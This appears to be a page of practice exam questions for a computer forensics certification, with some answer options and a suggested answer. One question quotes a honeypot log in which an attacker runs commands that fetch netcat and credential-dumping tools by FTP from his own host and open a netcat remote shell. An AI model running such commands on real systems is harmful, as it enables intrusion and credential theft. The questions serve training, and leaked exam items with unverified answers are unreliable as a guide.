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Report writing is a crucial stage in the outcome of an investigation. Which information should not be included in the report section?
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What term is used to describe a cryptographic technique for embedding information into something else for the sole purpose of hiding that information from the casual observer?
In Windows, prefetching is done to improve system performance. There are two types of prefetching: boot prefetching and application prefetching. During boot prefetching, what does the Cache Manager do?
In which of these attacks will a steganalyst use a random message to generate a stego-object by using some steganography tool, to find the steganography algorithm used to hide the information?
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The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below. "cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp -s:ftpcom" "cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?
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Malware analysis can be conducted in various manners. An investigator gathers a suspicious executable file and uploads It to VirusTotal in order to confirm whether the file Is malicious, provide information about Its functionality, and provide Information that will allow to produce simple network signatures. What type of malware analysis was performed here?

Question 661 - 312-49v10 discussion

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You are an information security analyst at a large pharmaceutical company. While performing a routine review of audit logs, you have noticed a significant amount of egress traffic to various IP addresses on destination port 22 during off- peak hours. You researched some of the IP addresses and found that many of them are in Eastern Europe. What is the most likely cause of this traffic?

A.
Malicious software on internal system is downloading research data from partner 5FTP servers in Eastern Europe
Answers
A.
Malicious software on internal system is downloading research data from partner 5FTP servers in Eastern Europe
B.
Internal systems are downloading automatic Windows updates
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B.
Internal systems are downloading automatic Windows updates
C.
Data is being exfiltrated by an advanced persistent threat (APT)
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C.
Data is being exfiltrated by an advanced persistent threat (APT)
D.
The organization's primary internal DNS server has been compromised and is performing DNS zone transfers to malicious external entities
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D.
The organization's primary internal DNS server has been compromised and is performing DNS zone transfers to malicious external entities
Suggested answer: C
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asked 18/09/2024
Shafqat Balouch
29 questions
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